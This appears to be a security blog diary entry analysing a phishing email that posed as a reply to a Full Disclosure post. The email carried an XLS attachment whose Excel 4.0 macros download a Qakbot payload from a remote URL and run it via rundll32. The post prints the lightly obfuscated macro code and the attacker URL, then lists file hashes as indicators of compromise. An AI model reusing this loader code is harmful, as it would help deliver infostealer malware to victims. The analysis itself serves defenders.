Qakbot in a response to Full Disclosure post
Last Updated: 2021-02-23 10:29:15 UTC
by Jan Kopriva (Version: 1)
Given its history, the Full Disclosure mailing list is probably one of the best-known places on the internet where information about newly discovered vulnerabilities is may be published in a completely open way. If one wishes to inform the wider security community about a vulnerability one found in any piece of software, one only has to submit a post and after it is evaluated by the moderators, the information will be published to the list. Whatever your own thoughts on the issues of full or limited disclosure might be, the list can be an interesting source of information.
Couple of years back, I posted a message to the list about a small vulnerability I found in a plugin for the CMS Made Simple content management system. And last week, to my surprise, I received what appeared to be a reply to my post… Although at a first glance, its contents seemed more than a little suspicious.
The headers in the message showed that although it was really sent in a reply to the post from 2019 (the “In-Reply-To” and “References” headers contained the correct message ID of the original mail), it didn’t go through the mailing list itself.
... MIME-Version: 1.0 Date: Thu, 18 Feb 2021 17:39:51 +0100 ... Message-ID: <79D7756F0F0A254E2BAAEC82026BE789678AF944@unknown> Subject: [Jan Kopriva] [FD] Open Redirection vulnerability in Babel (CMSMS Module) ... Content-Type: multipart/mixed; boundary="------------000309030201050000030608" sender: Fulldisclosure <email@example.com> X-Priority: 3 (Normal) From: techis <athena70@... ... In-Reply-To: <firstname.lastname@example.org> References: <email@example.com> ...
The sender address, which may be seen in the picture above (“fulldislosure-bounces … on behalf of”), might make the message appear as if it did originate from the mailing list, however this information, just as the identity of the sender which recipient sees after opening the message, is only based on one of the message headers (in this case “sender”), which means that it may be set almost arbitrarily by the sender.
The attachment contained an XLS file (document-1544458006.xls).
Upon closer inspection, the file turned out to contain Excel 4.0 macros.
In cases of documents with Excel 4.0 macros, I find that to get a quick (and admittedly very dirty) look at their code, it is not a bad idea to simply copy contents of all the Excel sheets with macros into a text file and remove all unnecessary whitespaces. If the macros aren’t heavily obfuscated, this approach may result in something readable. Luckily, this was one of those cases, as you may see from the following code.
=Doc1!AK28() =""&""&""&""&""&""&""&""&""&""&""&""&FORMULA(AP41&"2 ",AD15) =""&""&""&""&""&""&""&""&""&""&""&""&FORMULA(AQ41,AE15) =AE14() =Doc2!AC12()=FORMULA(AO36&AO37&AO38&AO39&AO40&AO41,AO25) =AG24() =CALL(AO25,Doc2!AC13&Doc2!AC12&AG25&"A","JJC"&"CBB",0,Doc1!A100,""&""&""&""&""&""&""&""&""&""&""&""&""&""&""&Doc1!AQ30,0) =AO5() =REPLACE(Doc1!AQ25,6,1,Doc1!AQ26) =REPLACE(AP34,6,1,Doc1!AL12) URLMon egist =AK22() erServer =""&""&""&""&""&""&""&""&""&""&""&""&EXEC(Doc1!AD15&Doc1!AQ30&Doc1!AE15&AG24) r , =HALT() u D n l ..\idefje.ekfd d l l R l 3 File Dow U R L M URL o n rundll3 ,DllR ="https://jordanbetterworkplace.org/ds/1802."&C100 gif =REPLACE(Doc1!AP35,7,7,"nloadTo") =REPLACE(Doc1!AP39,7,7,"") =REPLACE(#REF!AB7&#REF!AB8&#REF!AB9&#REF!AB10&#REF!AB11,7,7,"l3") =Doc1!AH16()
Although there is some elementary obfuscation applied to the code, few of the rows provide a good enough idea of what the macros are probably supposed to do (i.e. most likely download and run the contents of https[:]//jordanbetterworkplace[.]org/ds/1802.gif). The URL was no longer active by the time I got to it, but from a recent analysis of a nearly identical file by the Hatching Triage sandbox as well as threat intelligence data available for the URL itself, it is clear that the final payload was supposed to be the Qakbot infostealer.
Although one may only guess at the background, since the e-mail carrying the XLS contained valid message ID of the original e-mail sent to the mailing list in its headers, it is quite probable, that it was really sent in response to the Full Disclosure post. Probably after some threat actor managed to compromise an e-mail account, which was subscribed to the list.
If this was the case, I would however expect not to be the only recipient of a similar message, so if any of our readers is a contributor to the FD list, please let us know in the comments if you’ve received something similar.
Regardless, what brought the message to my attention in the first place (i.e. it appearing as if it was sent through the Full Disclosure mailing list) turned out to be a coincidence more than anything else. It was however a good reminder that similar coincidences do happen and may sometimes lead to recipients receiving very trustworthy looking messages…even though it might not be through intentional activity on the part of the attackers.
Indicators of Compromise (IoCs)
document-1544458006.xls (89 kB)
MD5 - 871f8ff683479dee3546a750e1a04808
SHA1 - 5b1344d6d6148ebdaa508a2b25fa2ce0fed87e57